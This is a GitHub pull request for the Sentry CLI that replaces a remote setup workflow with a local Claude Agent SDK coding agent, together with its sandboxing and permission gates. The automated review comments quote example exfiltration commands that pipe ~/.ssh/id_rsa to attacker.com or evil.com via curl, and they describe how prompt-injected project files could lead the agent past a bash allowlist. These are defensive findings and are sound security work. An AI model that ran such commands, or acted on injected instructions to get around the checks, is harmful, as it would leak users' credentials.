feat(init): run the setup agent locally via the Claude Agent SDK#1143
feat(init): run the setup agent locally via the Claude Agent SDK#1143betegon wants to merge 6 commits into
Conversation
Replace the remote Mastra workflow (suspend/resume over the network) with a local coding agent powered by @anthropic-ai/claude-agent-sdk. The agent inspects the project, fetches Sentry docs on demand, and applies changes locally, so we no longer maintain a server-side workflow or the suspend/resume protocol. - model traffic routes through the Sentry init gateway to the Vercel AI Gateway (ANTHROPIC_BASE_URL); a SENTRY_INIT_ANTHROPIC_API_KEY escape hatch allows BYO-key / self-host / dev runs straight to Anthropic - docs are served by a local, iterative get_docs_by_keywords tool that walks docs.sentry.io's doctree.json and fetches .md pages (no remote docs service) - deterministic Xcode/pbxproj transforms (sentry-cocoa SPM, React Native build phases) ship as in-process tools the agent calls when it detects the platform - drop @mastra/client-js and init-service-auth; readiness now checks the gateway Co-authored-by: Cursor <cursoragent@cursor.com>
Unit tests for the local-agent tool gate (.env block, bash allowlist, recursive-wizard guard) and the doctree lookup helpers (lib/feature path mapping, seed-page discovery, path normalization). Co-authored-by: Cursor <cursoragent@cursor.com>
|
There was a problem hiding this comment.
Bash allowlist filter missing pipe and newline operators, enabling shell injection bypass
In src/lib/init/agent/permissions.ts, SHELL_OPERATOR_RE (/[;&\$()]/) omits |, >, <, and \n, so a prompt-injected command like npm run build | curl https://attacker.com -d @~/.ssh/id_rsa passes every guard (DANGEROUS_BASH_RE, SHELL_OPERATOR_RE, and the startsWith("npm run")prefix check) and executes as-is. Add|, >, <, and \n/\r` to the operator regex.
Evidence
SHELL_OPERATOR_RE = /[;&\$()]/inpermissions.tsline 21 does not include|,>,<`, or newline characters.isAllowedBash('npm run build | curl https://evil.com -d @~/.ssh/id_rsa'):DANGEROUS_BASH_RE→ false;SHELL_OPERATOR_RE.test(...)→ false (no chars in[;&\$()]);startsWith('npm run')` → true → allowed.- Newline injection also bypasses:
'npm install x\ncurl https://evil.com'starts with'npm install'and contains no blocked characters. - The
Bashtool is enabled in non-dryRun mode (runner.tsbuildAllowedTools), and the agent reads user-controlled project files, making prompt injection a viable attack path. - A malicious repository file (e.g., a README or config) could inject an instruction causing the agent to issue a piped exfiltration command that the filter accepts.
Identified by Warden security-review
The CLI ships fully bundled with zero runtime dependencies (npm package and single binary alike), so the Claude Agent SDK's per-platform native runtime (~62 MB download, ~210 MB on disk) can't ride along in node_modules. Download it on first `init` and cache it under ~/.sentry/agent/<version>/<platform>, then point the SDK at it via pathToClaudeCodeExecutable. Subsequent runs reuse the cache; running from source (node_modules present) uses the SDK's own binary and skips the download. Keeps @anthropic-ai/claude-agent-sdk and xcode as bundled devDependencies so the published package stays dependency-free (check:no-deps). Co-authored-by: Cursor <cursoragent@cursor.com>
Address PR review findings: - Enable the Claude Agent SDK OS sandbox (filesystem allowWrite + network allowedDomains, failIfUnavailable:false) as the primary containment, mirroring PostHog's wizard. This restricts the agent's writes to the project + package caches and its egress to package registries, the model gateway, GitHub, and docs.sentry.io - blocking exfiltration via piped shell commands. - Block | < > and newlines in the bash allowlist as the fallback gate for hosts where the OS sandbox is unavailable. - Use the realpath-based safePath() for the in-process Xcode tools (which write outside the sandbox) so symlinked paths can't escape the project root. - Parse the URL pathname in normalizeDocPath instead of a startsWith(host) substring check (clears the CodeQL alert; behavior unchanged). Co-authored-by: Cursor <cursoragent@cursor.com>
…turns Per the Claude Agent SDK hosting guide: - Point CLAUDE_CONFIG_DIR at our scratch dir and set CLAUDE_CODE_DISABLE_AUTO_MEMORY=1 so the spawned CLI doesn't read or write the user's ~/.claude (transcripts, global config) and doesn't auto-load their CLAUDE.md memory, which loads regardless of settingSources and is a prompt-injection vector. - Set maxTurns (the SDK has no built-in wall-clock timeout) to bound a runaway session. Co-authored-by: Cursor <cursoragent@cursor.com>
There was a problem hiding this comment.
"npm i" prefix allows npm init <package> to execute arbitrary code
The "npm i" entry in SAFE_BASH_PREFIXES is matched with String.prototype.startsWith, so npm init @evil/package passes every check (DANGEROUS_BASH_RE misses it, SHELL_OPERATOR_RE misses it, and "npm init …".startsWith("npm i") is true). npm init <package> downloads and immediately runs the package's create script, giving an adversarial LLM output or a prompt-injection a path to arbitrary code execution. Fix by adding a trailing space: change "npm i" to "npm i " (and likewise audit "npm install" → "npm install ", etc.).
Evidence
permissions.tsline 27:"npm i"is the entry inSAFE_BASH_PREFIXES.isAllowedBash(line 101) usesnormalized.startsWith(prefix), so"npm init @evil/pkg"satisfies the prefix for"npm i".DANGEROUS_BASH_REmatches onlyrm -rf,git reset, etc. —npm initis not listed.SHELL_OPERATOR_REmatches[;&|<>\$()\n\r]—npm init @evil/pkg` contains none.npm init <pkg>fetches and executes the package's initializer script (create-<pkg>on npm), i.e., arbitrary remote code execution.
canUseTool Write/Edit handler allows writes to any path outside the project root
In src/lib/init/agent/permissions.ts, canUseInitAgentTool for Write/Edit only blocks .env file patterns but imposes no project-root restriction. On Linux hosts where the OS sandbox is unavailable (failIfUnavailable: false), a prompt-injected agent can write to any user-writable path (e.g. ~/.bashrc, ~/.ssh/config). The sandbox is described as the primary containment with canUseTool as belt-and-suspenders, but the belt-and-suspenders doesn't cover path scope for Write/Edit.
Evidence
sandbox.tssetsfailIfUnavailable: false, explicitly allowing graceful degradation on Linux without bubblewrap.sandbox.tscomment: "This is the primary defense …canUseToolandsafePathare belt-and-suspenders."permissions.tscanUseInitAgentToolfor'Write'and'Edit': checksisEnvPath(inputPath(input))only; no check that the path is underworkingDirectory.runner.tsline ~231:canUseToolcallback callscanUseInitAgentTool(toolName, input)but does not passworkingDirectoryinto it, so the permission function has no project-root context to enforce.- By contrast, the MCP tools (
applyIosSpmTool,patchRnXcodeTool) properly usesafePath(workingDirectory, relativePath)to enforce project root—same guard is absent for the built-in Write/Edit tools.
Identified by Warden find-bugs
…ecksum Address follow-up review findings: - Block .envrc (direnv) in the Read/Write/Edit and Grep env-file guard, not just .env / .env.*. - Make the Grep guard glob-aware so patterns like **/.env* or *.env can't surface env-file contents (the previous literal-path check missed them). - Refuse to execute the downloaded agent runtime unless it verifies against the registry's sha512 integrity (falling back to the sha1 shasum), instead of silently skipping verification when integrity was absent. Co-authored-by: Cursor <cursoragent@cursor.com>
|
Triaged the latest review findings:
Resolving these threads. |
Summary
Replaces the remote Mastra workflow (suspend/resume over the network) with a
local coding agent powered by
@anthropic-ai/claude-agent-sdk. The agentinspects the project, fetches Sentry docs on demand, installs the SDK, and
applies changes locally. We keep all the pre-agent work (preflight, org/project
resolution, project creation, feature selection, UI) and drop the suspend/resume
protocol and
@mastra/client-js.Inspired by PostHog's wizard, which runs the same SDK locally.
Changes
src/lib/init/agent/): drivesquery(), gates tools viacanUseTool(.env block + bash allowlist), isolates from the user's Claude settings (settingSources: []).ANTHROPIC_BASE_URL).SENTRY_INIT_ANTHROPIC_API_KEYis a BYO-key/self-host/dev escape hatch straight to Anthropic.get_docs_by_keywordswalksdocs.sentry.io/doctree.jsonand fetches.mdpages — the agent calls it as often as it needs (src/lib/init/docs/). No remote docs service.src/lib/init/agent/framework/).wizard-runnerrewritten to the local flow; removedinit-service-authand the old suspend/resume test.Distribution / size
The SDK's JS is bundled at build time, but its per-platform native runtime is
not — the CLI stays fully bundled with zero runtime deps (
check:no-deps). Onfirst
initthe native runtime is downloaded and cached under~/.sentry/agent/<version>/<platform>/(integrity-checked) and reused; runningfrom source uses the SDK's own binary and skips the download. So the shipped
artifacts barely grow; the heavy part is a one-time, per-machine, cached fetch.
Measured on darwin-arm64 (other platforms similar):
dist/index.cjsclaude)init, cached in~/.sentry(For comparison, embedding the native runtime into the binary instead would take it to ~312 MB per platform, ~3x — which is why we download-and-cache.)
Test plan
pnpm typecheck,pnpm lint,pnpm check:deps,vitest run test/lib/init(376 + new agent/docs tests green).sentry initon 19 framework test projects (JS, Python, Cloudflare, native iOS, monorepos, large apps): 19/19 applied a working integration.~/.sentry/agent/.../claude), subsequent runs reuse it.Known gaps (follow-ups)
--applike prod. Usually it picks well, but for strapi it chose the framework's own package. Needs the deferred app-listing +--appgating.Depends on getsentry/cli-init-api#182 (the gateway) being deployed. Merge/deploy the gateway first.